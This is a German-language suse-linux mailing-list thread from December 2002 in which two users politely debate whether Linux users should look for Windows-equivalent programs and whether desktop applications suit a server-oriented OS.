Am Sonntag, 1. Dezember 2002 13:39 schrieb Henning Hucke:
Ich stelle mir in letzter Zeit häufiger die Frage, warum die Leute unter Linux eigentlich immer nur das suchen, was sie schon unter Windows hatten. Warum wechselt ihr dann eigentlich zu Linux?
Auch wenn es Dir vielleicht ungewohnt vorkommt: Ein Computer ist nichts anders als ein Arbeitsgerät und das Betriebssystem insofern lediglich ein Teil davon. Und wenn ich das Gerät zum Erstellen von Grußkarten brauche, dann soll es das einfach können - das Betriebssystem ist mir in dem Moment völlig egal.
Dann soll er fragen: Mit welchem Programm lassen sich Grußkarten erstellen. Und nicht: Welches Programm macht das gleiche wie XYZ-Windows-Programm. Auch wenn es Dir vielleicht ungewohnt vorkommt: Es gibt hier Leute, die kennen sich nicht mit Windows aus. Bernd -- ACK = ACKnowledge = Zustimmung | NAC = No ACknowledge = keine Zustimmung DAU = Dümmster Anzunehmender User | LOL = Laughing Out Loud = Lautes Lachen IIRC = If I Remember Correctly = Falls ich mich richtig erinnere OT = Off Topic = Am Thema (der Liste) vorbei |Zufallssignatur 11
*** Heimo Ponnath (ponnath@heimo.de) schrieb in suse-linux heute:
[...] Auch wenn es Dir vielleicht ungewohnt vorkommt: Ein Computer ist nichts anders als ein Arbeitsgerät und das Betriebssystem insofern lediglich ein Teil davon. Und wenn ich das Gerät zum Erstellen von Grußkarten brauche, dann soll es das einfach können - das Betriebssystem ist mir in dem Moment völlig egal.
Heimo (Frank?), ich greife Dich nicht grundsätzlich an. Ich verstehe nur etwas nicht, dass ich gerne verstehen _möchte_. Es besteht _bis jetzt_ kein Grund, sauer auf mich zu sein... Was mir ungewohnt vorkommt, ist, dass jemand auf einem *server* os desktop applications fahren möchte. Wenn _ich_ auf einem Server arbeite, dann tue ich genau das. Wenn ich dann noch ein paar nette Programme wie Gimp habe, freue ich mich. Aber wenn ich beispielsweise business cards brauche, lasse ich mir diese von TeX oder einem anderen Programm schlichtweg ausdrucken, nachdem ich sie _einmal_ vorgereitet habe. Und dass kann ich dann sogar remote tun, was mit einem DTP-Programm schon weniger leicht funktionieren dürtfe (ssh ist ja ganz nett. Aber versuch bitte mal, gimp über einen SSH-Tunnel zu fahren, der über eine ISDN-Leitung geht, die gerade auch Mails zieht...). *Das* ist es, was ich nicht verstehe aber gerne verstehen möchte!
Wenn ich mir eine Heckenschere kaufe um damit Hecken zu schneiden, dann soll sie das einfach gut und ohne Pannen machen. Wie der Hersteller des Gerätes oder von Teilen davon heisst und ob es da irgendwelche Ideologien dahinter gibt, das interssiert mich nur am Rande.
Nochmal: Du brauchst nicht wie ein getroffener Hund zu bellen, wenn Du nicht getroffen bist (Bist Du getroffen?). ... Man versucht aber im allgemeinen nicht, mit einer Heckenschere Kuchen zu backen...
[...]
MG Henning Hucke -- "Kooperation und Ruecksichtnahme ist Schwaeche", sagte der Topmanager, "Macher" und Erfolgsmensch, als er die letzten frei lebenden Paradies- voegel im Zuge der Rodungsarbeiten fuer seine neue Billiglohnfabrik in der dritten Welt toeten lies. (c) H.Hucke
Hallo Henning, Am Sonntag, 1. Dezember 2002 23:41 schrieb Henning Hucke:
Heimo (Frank?),
Frank? Wer ist Frank?
...ich greife Dich nicht grundsätzlich an. Ich verstehe nur etwas nicht, dass ich gerne verstehen _möchte_. Es besteht _bis jetzt_ kein Grund, sauer auf mich zu sein...
Keine Angst, ich bin nicht sauer auf Dich.
Was mir ungewohnt vorkommt, ist, dass jemand auf einem *server* os desktop applications fahren möchte.
Das sehe ich nicht so päpstlich. In vielen Betriebssystemen (naja, so viele gibts ja garnicht mehr) ist die Fähigkeit enthalten, den Rechner für diverse Protokolle als Server zu betreiben. Darunter natürlich auch Linux. Das ist ja meiner Ansicht nach das Besondere an den Linux-Distributionen, daß Sie sich äußerst vielgestaltig einsetzen lassen. Du setzt Deinen Rechner als Server ein (httpd, sshd,... ?), andere schalten die Demons ab (oder denken einfach garnicht daran), weil sie ihren Rechner für ganz andere Zwecke - nämlich einfach als Desktop z.B. für Textverarbeitung oder Grafik - verwenden.
*Das* ist es, was ich nicht verstehe aber gerne verstehen möchte!
Ich verstehe nach meiner vorangegangenen Erklärung jetzt Deine Frage als diese Frage: Warum setzt jemand Linux für seinen Desktop ein, wenn er die zu lösenden Aufgaben auch mit Windows oder MacIntosh bewältigen könnte? Davon einmal abgesehen, daß sicherlich hunderte von Listenteilnehmern ganz schnell sagen könnten, weshalb sie nicht Windows verwenden: Linux eignet sich von Distributionsversion zu Distributionsversion immer besser auch für klassische Desktop-Arbeiten. OpenOffice ist z.B. inzwischen so gut geworden, daß ich es als ernsthaften Mitbewerber zu MS-Office sehe. Ich persönlich arbeite auf zwei Rechnern. Der Linux-Rechner dient vor allem als File-Server und für den Datenverkehr auch ins (und vom) Internet. Der Win 2000 Pro Rechner wird vor allem für Grafikarbeiten eingesetzt - da gibt es unter Linux noch nichts, was sich mit Photoshop oder Freehand vergleichen läßt.
Nochmal: Du brauchst nicht wie ein getroffener Hund zu bellen, wenn Du nicht getroffen bist (Bist Du getroffen?).
Hund, bellen? Nein, ich fühle mich nicht getroffen. Es sträubte sich lediglich etwas in mir beim Lesen Deiner Mail und das führte dazu, daß ich etwas mehr Pragmatismus in den Thread bringen wollte, den mein Bruder (Hallo Klaus. Grüße ins ferne Stuttgart.) mit einer ganz unschuldigen Frage eröffnet hat. Einige in der Liste (nicht unbedingt Du) haben eine große Empfindsamkeit, wenn auch nur der Anschein entsteht, es könnte um die Konkurrenz zwischen Linux und Windows (oder zwischen der OpenSource-Bewegung und Firmen-Monopolen) gehen. In die rein sachliche Diskussion mischt sich dann ein mehr oder weniger starker Anteil von Ideologie. Ich kann das auch gut nachvollziehen, denn was dieser Herr Gates und sein Gefolge machen, ärgert mich gelegentlich auch ganz schön. Aber diese Liste sehe ich nicht als den Hauptkampfschauplatz dafür.
... Man versucht aber im allgemeinen nicht, mit einer Heckenschere Kuchen zu backen...
LOL Gruß von Heimo -- Heimo Ponnath Webdesign, Rotenhäuserstr. 51, 21109 Hamburg Tel: 040-753 47 95,Fax: 040-752 68 03, http://www.heimo.de/
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